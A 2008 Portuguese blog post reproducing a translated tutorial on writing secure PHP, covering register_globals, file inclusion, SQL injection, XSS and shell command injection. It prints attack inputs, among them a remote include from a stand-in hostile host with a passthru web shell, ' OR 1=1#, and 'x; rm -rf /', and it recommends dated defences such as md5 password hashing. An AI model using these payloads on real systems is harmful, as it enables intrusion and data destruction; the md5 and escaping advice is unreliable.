Murilo :P

C++, Computação, Programação, Web e afins :)

Escrevendo um Código PHP Seguro

with 4 comments

Há uns dois anos atrás o Diego (rand) e eu (na época com nick “ckR”) fizemos uma adaptação/tradução de um artigo postado no Solidox que aborda alguns métodos para tornar seu código mais seguro. O que acontece é que até hoje vejo inúmeras falhas que muitas vezes passam despercebidas para um leigo mas que, para alguém que conhece um mínimo de programação, facilmente poderia causar problemas para esses sitemas.

Aí eu pensei em colocar aqui para divulgar e que para os recém programadores PHP possam ler e levar consigo ao longo de sua jornada com essa fiel linguagem de programação.

O artigo saiu em diversos sites de certo prestígio na área como o PHPBrasil.com o PHPAvancado.net e o HTMLStaff.org. Vale a pena ler.

Segue abaixo, o texto na integra.

Artigo no PHPAvancado http://www.phpavancado.net/node/222
Artigo no PHPBrasil http://phpbrasil.com/articles/article.php/id/1222
Artigo no HTMLStaff http://www.htmlstaff.org/ver.php?id=2831

Escrevendo um Código PHP SEGURO

Créditos para solidox
Adaptação do artigo
===================

PHP é uma linguagem muito fácil de aprender e não precisa de um esforço muito grande que as outras linguagens necessitam. Por um lado, isso é bom para os iniciantes em php, pois podem começar a programar rapidamente, mas infelizmente, eles não se importam em aprender algo sobre segurança e acabam escrevendo seus códigos de qualquer jeito… Isso infelizmente não acontece somente com PHP. Acho que a maioria que começa a programar escreve os primeiros códigos com falhas banais de segurança. Em algumas linguagens isso não é um problema grave, porem toda tecnologia que é voltado para web, tem contato com um numero muito grande de pessoas diferentes, algumas são boas… outras no entanto não.

Eu imagino que a maioria dos iniciantes em PHP vai escrever em seus primeiros códigos minis-cms ou sistemas de noticias. Um grande número de sites pequenos provavelmente rodam códigos pessoais escritos por alguns que não possuem uma experiência necessária com php, isso também significa que um grande numero de sites podem se tornarem (e estão) inseguros.

Eu mostrarei uma lista das falhas mais comuns que podemos encontrar e apesar de parecerem banais, são muito encontrados, junto com os maiores perigos.

Register Globals

Isso não é um problema novo, já foi tema de muitos artigos e muitos avisos porem infelizmente é algo mais comum de se encontrar. Porem talvez seja a primeira que alguns estão vendo isso… Então irei explicar:

No php.ini a variável register_globals até a versão 4.2.0 o padrão era on, porém a partir dela o padrão tornou-se off, porem muitos servidores ainda usam on, pois muitos scripts antigos foram feitos com base o register_globals on, então obviamente não funcionam quando o padrão é off.

Como register_globals está on, as variáveis id e shoes tornaram-se variáveis globais.
Por exemplo:
http://example.com/test.php?id=4&shoes=cake

<?php
echo $id; // 4
echo $shoes; // cake
?>

O problema é que isso permite que isso permite que variáveis sejam injetadas via url. Um script problemático poderia ser um como esse:

<?php
if (AuthenticateUser($user, $pass)) {
$loggedin = 1;
}
// se tiver valor 1 eh como se fosse autenticado
if ($loggedin == 1) {
// conteudo que somente um usuário logado pode ver.
include(“admin.php”);
}
?>

Agora se alguém chamasse a url test.php?loggedin=1
O script entenderia que a pessoa está logada, pois $loggedin se tornou uma variável global com o valor 1.

Uma ‘correção’ simples seria assim:

<?php
if (AuthenticateUser($user, $pass))
$loggedin = 1;
else
$loggedin = 0;
?>

Desse modo, até mesmo se o $loggedin for injetado via url, ele se tornaria 0.
Com register_globals off, variáveis que são passadas como parâmetro via url, não se tornam variáveis globais. A forma certa de é você simplesmente usar as ‘superglobals’ que são _GET, $_POST, $_SERVER, etc. etc.

O uso de superglobals sempre é preferido por razões de segurança e isso também deixa o código mais limpo e seguro. Pois você sabe quais variáveis estão vindo do GET/POST e quais não estão

/*
Observação: A partir do PHP 6 provavelmente register_globals não irá mais existir
*/

Include Files

A maioria das pessoas não quer ter o site inteiro em um único arquivo ‘.php’ e isso é bem aceitável em relação a questões de organização e de atualização de código, então geralmente usam vários arquivos separados. Dessa forma pode-se fazer por exemplo um cabeçalho e um rodapé mais facilmente.
Considere este exemplo:

<?php
//aqui ficaria o cabeçalho

$page = $_GET[‘page’];
include(
$page);

//aqui ficaria o rodapé
?>

Deste modo, é possível colocar conteúdos específicos em arquivos separados. Ex: about.php, download.php, e o link para essas paginas seriam algo como: index.php?page=about, index.php?page=downloads.php
Existem dois problemas em relação a isso…
Se alguém chama a página dessa forma index.php?page =.. /.. /.. /.. /.. /.. /.. /etc/passwd
Dessa forma seu arquivo de senhas fica vulnerável para ser visualizado, ou qualquer outro arquivo que esta rodando sob o php (httpd ou apache normalmente), pode ser lido por qualquer usuário.
O outro problema é se ‘URL Wrapper’ estiver on (como ele é por padrão), então alguém pode fazer um upload de um arquivo para um outro webserver

Outro exemplo…

<?php passthru($_GET[‘cmd’]); ?>

Então..
Coloque na url: index.php?page=http://evilbastard.com/hax0r.txt&cmd=whoami e poderá então rodar qualquer comando em seu servidor ou poderá mostrar detalhes da sua conexão com o banco de dados, basicamente rodar qualquer código php em seu servidor. A função include pega um arquivo de um servidor, e então executa isso como um código php, algo que é obviamente muito perigoso.

Um método seguro de incluir arquivos seria como o abaixo:

<?php
//cabeçalho do site

$page = $_GET[‘page’];
if (
eregi(“^[a-z0-9\-_\.]+$”, $page, $regs)) //para ter certeza que $page é alfanumérico.
{
$dir = “includes/”; //pode ser branco
$ext = “.php”; //.php, .html, .txt, whatever
if(file_exists($dir . $page . $ext)) {
include(
$dir . $page . $ext); //ou outro tipo de extensão se não for necessariamente um arquivo .php
}
else echo
‘404 – Not Found’; //ou algo similar
}
else echo
‘Naughty Naughty, very Naughty.’;

//rodapé do site
?>

Então o link: index.php?page=about (assumiria about.php dentro do diretório ‘includes’)
Se você sabe que o arquivo que será incluído não conte código php e sim apenas texto, então pode ser melhor usar readfile() ao invez de include()/require(), pois ambos irão executar qualquer código php que eles encontrarem algo que o readifle não irá.

Usando um diretório separado para incluir arquivos, pode ser ótimo como uma forma de parar urls do tipo: “includes/http://blah.com/lala.txt” que não irá funcionar. Isso não é realmente necessário se um utilizar um ereg como filtro nas urls.

Algumas pessoas nomeiam os arquivos que serão incluídos com a extensão ‘.inc’, isso é muito perigoso, pois .’inc’ não é interpretado como um código php pelo webserver e será visualizável no navegador como um texto na pagina. Isso parece algo banal, mais infelizmente muitos usam arquivos do tipo ‘config.inc’ que contem senhas de banco de dados etc, algo que torna o sistema muito inseguro..
Arquivos que serão incluídos devem ter a extensão .php, pode ser exemplo.inc.php se você realmente quer que o nome contenha ‘.inc’, algo que eu acho desnecessário.
Você deve mantê-los fora do diretório root por uma pequena questão adicional de segurança.

SQL Injection

SQL injection ganhou uma atenção grande nos últimos tempos com mais e mais sites que estão com seus bancos de dados expostos a falhas. O nível de perigo depende de banco de dados que você está usando. MSSQL e Oracle são notavelmente ruins, com MSSQL tendo o comando xp_cmdshell permite executar qualquer comando virtualmente no server. Eu irei dar foco ao MySql, pois eu realmente não uso outros DBs e MySql é uma combinação muito comum com Php. (postgresql inicialmente é outro muito mais competidor)

Vamos supor que você tem um simples sistema de login, que valida usuários do banco dados:
(estamos supondo que magic_quotes esteja desligado)

<?php
$username
= $_POST[‘username’];
$password = $_POST[‘password’];

$query = “SELECT * FROM `users` WHERE username=’$username’ AND password=’$password'”;
$result = mysql_query($query);
if(
mysql_num_rows($result) > 0) $admin = 1;
else
$admin = 0;

if ($admin == 1) {
// blah blah, conteúdo restrito aqui.
}
?>

Certo, então o que isso faz é pegar o username e o password recebidos do formulário e checar na database se eles se correspondem. Vamos assumir como um usuário valido, “admin”, por exemplo. Se nós colocarmos no campo de login da pagina:

admin’#

O que acontecerá?
Vamos reescrever sql com as variáveis expandidas:

Código:

<?php $query = “SELECT * FROM `users` WHERE username=’admin’#’ AND password=’xxx'”; ?>

OK, então… O problema aqui é que as aspas simples não estão sendo escapadas adequadamente. No MySql, o símbolo (#) é considerado como um comentário, como as barras duplas (//) no php ou C++, tudo após o (#) passa a ser ignorado pois passa a ser um comentário, ignorando a verificação da senha. Obviamente isto só irá funcionar se você tiver um usuário válido.
No entanto, você não precisa necessariamente saber um usuário válido usando: ‘ OR 1=1#

Irá se tornar…

<? $query = “SELECT * FROM `users` WHERE username=” OR 1=1#’ AND password=’xxx'”; ?>

Isso irá selecionar todos os usuários do banco de dados. Se a função de login apenas contar o numero de linhas retornadas apos a query como a do exemplo. Então provavelmente irá assumir os dados do primeiro usuário retornado. Que pode ser possivelmente um admin.
Há várias coisas perigosas que você fazer com sql injection, mas elas estão além do objetivo desse artigo. Tudo que você precisa saber é a existência dela e como se proteger contra ela. O problema principal são as aspas simples serem interpretadas como parte da query. Que OBVIAMENTE não é o que nós queremos. O precisa ser feito é sempre ter certeza que elas serão escapadas, de forma que ‘ se tornaria \’ (\ é usado quando se escapa uma string). O melhor modo para fazer isto é usar a função nativa do PHP mysql_escape_string, como o exemplo abaixo:

<?php
$username
= mysql_escape_string($_POST[‘username’]);
$password = mysql_escape_string($_POST[‘password’]);
$query = “SELECT * FROM `users` WHERE username=’$username’ AND password=’$password'”;
//etc etc
?>

Agora se nós tentarmos entrar com o campo username contendo admin’# aconteceria o seguinte:

<?php $query = “SELECT * FROM `users` WHERE username=’admin\’#’ AND password=’xxx'”; ?>

As aspas simples são escapadas com sucesso e a query não está mais vulnerável.
Se você sabe que uma determinada variável irá ter o valor de inteiro, então o melhor a ser feito é:

<?php
$offset
= (int)$_GET[‘offset’];
$query = “SELECT * FROM `cakes` LIMIT 20 OFFSET ‘$offset'”;
?>

Então só um valor numérico pode ser passado deste modo, se um texto for enviado o valor da variável $offset será 0.

Praticamente tudo precisa ser escapado antes de ser enviado ao banco de dados. Os programadores tendem a esquecer coisas que não estão vindo das variáveis GET/POST, como o HTTP_REFERER ou HTTP_USER_AGENT, estes podem ser facilmente modificados para conter uma sql injection que deve ser escapado antes de ser colocado em uma query.

Há uma opção do PHP que pode ser configurada no php.ini, que se chama magic_quotes_gpc que escapa todos os dados vindos de variáveis GET/POST/COOKIE. Isso pode causar problemas quando você escapa strings, pois poderia dobrar barras assim (\\\’). Quer um conselho? Nunca programe como se no servidor isso estivesse habilitado, pois talvez em outro ele não esteja.

‘Criei’ uma função simples que sempre me ajuda… Então sempre use isso em variáveis vindas de GET/POST/COOKIE

<?php
function escapestrings($b) {
if (!
get_magic_quotes_gpc()) //se magic_quotes não estiver ativado, escapa a string
{
return
mysql_escape_string($b); // função nativa do php para escapar variáveis
}
else
// caso contrario
{
return
$b; // retorna a variável sem necessidade de escapar duas vezes
}
}
?>

Exemplo:

<?php
$username
= escapestrings($_POST[‘username’]);
$password = escapestrings($_POST[‘password’]);
$query = “SELECT * FROM `users` WHERE username=’$username’ AND password=’$password'”;
//etc etc
?>

Nota: Para você tirar as barras que foram incluídas para escapar,quando for mostrar os dados para o usuário
use stripslashes(). Para evitar barras desnecessárias:

<?php
$article
= mysql_fetch_array($fnord);
echo
$article[‘title’]; // Badger\’s Parade
echo stripslashes($article[‘title’]); // Badger’s Parade
?>

Protegendo Funções POST

Outra falha comum é esquecer a checagem do login em determinadas partes do código.

postnews.php:

<?php
if ($_SERVER[‘REQUEST_METHOD’] == ‘POST’) {
header(“Location: news.php”);
exit;
}
// Post News:
if (!UserLoggedIn()) {
echo
“Error, You are not logged in”;
die;
}
// html for news posting form
?>

Se um usuário não autenticado fosse a essa pagina, então um erro iria aparecer. Se, no entanto um valor vindo do campo POST fosse enviado, seria possível ter acesso ao news.php sem estar autenticado. É muito fácil de esquecer de proteger pedaços específicos de códigos, principalmente quando se está com pressa ou com sono. Especialmente quando usuários logados e não logados tem acesso à mesma pagina e irão ver conteúdos diferentes, como também existem paginas que apenas quem está logado pode ter acesso. SEMPRE se lembre de proteger qualquer parte do código com checagens de login antes de executar o resto do código.

Cross Site Scripting (XSS)

Cross site scripting é feito quando você não filtra tags htmls vindas de um usuário e acaba executando elas, por exemplo:

<?php
if (mysql_num_rows($result) < 1) {
echo
“Your search for {$_GET[‘q’]} yielded no results”;
exit;
}

else {
// blah
}
?>

search.php?q=<script>alert(“hello”);</script>

Em uma busca mal sucedida exibiria isso:
“Your search for <script>alert(“hello”);</script> yielded no results”

Esse javascript seria interpretado pelo navegador e uma alerta seria exibido.
Enquanto esse exemplo pode parecer relativamente inofensivo, é possível colocar coisas que irão pegar dados de cookies, podendo até roubar sessões, porem isso fica pro próximo artigo.
Os dados devem ser checados antes de serem interpretados SEMPRE, como no caso de sql injection, em xss também, existem dois métodos para fazer isso:

a função strip_tags(); Irá remover todas as tags html de uma string. Ou,
a função htmlspecialchars(); Que irá converter caracteres especiais do html para um tipo que não poderá ser interpretado no browser como função do html e sim texto.

<?php
echo “Your search for “.htmlspecialchars($_GET[‘q’]).” yielded no results”; //convert
echo “Your search for “.strip_tags($_GET[‘q’]).” yielded no results”; //remove
?>

O correto é que nenhum valor vindo de um usuário deve ser executado sem uma devida checagem antes.

Ver código fonte

Eu já vi e provavelmente vocês também vários sites que possuem links para que se possa ver o código fonte da própria página. Normalmente um link é chamado viewsource.php?file=about.php ou tanto faz. É uma idéia legal, mas isso geralmente acaba deixando o site vulnerável para que se possa ver qualquer código fonte de um arquivo no servidor. Algo que certamente você não quer que aconteça. Pois certos arquivos podem conter senhas de bancos de dados etc.

<?php
if ($file == ‘config.php’) // bad
die(“You may not view this file”);
?>

O problema com isto é que você pode fazer o seguinte viewsource.php?file=./config.php e isso irá checar com os caracteres adicionais ./
O melhor jeito de fazer isso é:

<?php
if (stristr($file, “config.php”)) //good
die(“You may not view this file”);
?>

Comandos Shell

Comandos Shells são outro caso de falha. No PHP executar comandos shell é fácil, pois existem varias funções para isso, como system(), exec(), popen(), backticks, passthru, etc.

No geral você nunca deveria usar qualquer valor vindo de um usuário para executar como um comando shell

<?php
$text
= $_GET[‘text’];
$banner = `banner $text`;
?>

Se alguém colocar: x; rm -rf /

Isso causaria muitos problemas..

Você pode usar a função escapeshellcmd(); para se proteger de dados perigosos vindos de usuários. Está função escapa qualquer caractere em uma string que possa ser utilizado para enganar um comando shell para executar comandos arbritários. E também é aconselhável usar alguma regex para ter certeza ;} Ou melhor ainda, NÃO USE valores de um usuário em comandos shell
Senhas de Banco de dados

Se sua aplicação tiver algum tipo de lista de usuários que cada usuário tem uma senha, é aconselhável armazenar as senhas com algum tipo de encriptação. Se alguém conseguir roubar os dados do seu banco de dados, não poderá usar as senhas pois estarão encriptados ;} Uma dica é usar md5(), É claro que senhas com md5 podem ser quebradas porém isso é bem difícil e muito mais difícil do que falar hehe!

Conclusão por rand

É muito fácil pular uma parte de um código na revisão e esquecer sobre segurança, mas você não deve deixar isso de lado muito menos ter o pensamento ‘Não preciso exagerar em segurança, não vai ter ninguém pra explorar meu código’, NUNCA pense assim, pois quando se programa não se deve pensar em mínimo de segurança, mais sim o suficiente, pois as vezes o mínimo não é o suficiente! Existem muitos tipos de pessoas que são muito perigosas Wink E as vezes uma falha que você não percebe acaba se tornando algo muito perigoso. Lide com segurança diferente de como você lida com todas as coisas, pense no que vai fazer e no que alguém poderia fazer pra contornar sua medida de segurança, assim crie padrões difíceis de quebrar e variantes importantes, tente fugir do que você está acostumado a ler e crie seus próprios padrões. Caso você não se importe com isso agora…poderá pagar por um deslize cometido.

Conclusão por ckR (murilo)

O que o rand disse =P.
Vou adicionar algo nessa conclusão. Fazem mais de dois anos que divulgamos esse material e até hoje encontramos em inúmeros lugares falhas de segurança como as citadas aqui. Vamos prestar atenção ao escrever nossas aplicações. Principalmente vocês que forem “PHPeiros” de primeira viajem!

* http://solidox.org/index.php?w=module:article,action:view,id:11

Written by Murilo Adriano

4 de October de 2008 at 23:09

4 Responses

Subscribe to comments with RSS.

  1. Obrigado pelas dicas. Estava procurando por isso e o Google colocou esse artigo em evidência.

    Itamar

    31 de October de 2008 at 17:51

  2. eaiii maluko muito massa esse artigo falowww

    leonardonunes

    13 de November de 2008 at 13:53

  3. […] https://murilo.wordpress.com/2008/10/04/escrevendo-um-codigo-php-seguro/ Filed under Desenvolvimento, PHP Comment (RSS)  |  Trackback […]

  4. Wonderful put up, very informative. I wonder why the opposite specialists of this sector do not realize this.
    You should proceed your writing. I’m sure,
    You’ve a huge readers’ base already!

    affordable lasik

    27 de May de 2014 at 19:00


Leave a comment